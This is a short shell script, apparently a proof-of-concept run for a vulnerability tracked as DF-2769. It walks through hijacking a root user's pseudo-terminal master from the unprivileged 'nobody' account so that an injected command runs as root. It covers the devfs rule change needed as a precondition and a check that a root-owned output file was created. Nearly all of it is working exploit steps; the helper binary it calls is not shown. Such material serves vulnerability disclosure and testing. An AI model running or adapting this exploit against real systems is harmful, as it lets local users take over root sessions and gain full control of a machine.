#!/bin/sh
# DF-2769 PoC run (inside the guest)
# 0) default-config control: attack must be fenced with ENOENT
# 1) victim session (run as the victim user, e.g. root for the decisive demo):
/tmp/pty_master_hijack victim &
sleep 2   # prints UNIT=/dev/pts/N, then the parent closes the master
# 2) precondition (root, models jail/devfs.conf exposure rules):
#      printf "show\tptm\nshow\tptm/*\n" > rules; devfsctl -a -m /dev -f rules
#    (must be applied AFTER the victim's master node exists -- kernel
#     re-hides ptm on every new ptm node creation)
# 3) attack as ANY other user (decisive: victim=root, attacker=nobody):
echo "id > /tmp/df2769_root_pwn" > /tmp/df2769_cmd
su -m nobody -c "/tmp/pty_master_hijack attack /dev/pts/N /tmp/df2769_cmd"
# success: /tmp/df2769_root_pwn owned by root, content uid=0(root)
ls -la /tmp/df2769_root_pwn; cat /tmp/df2769_root_pwn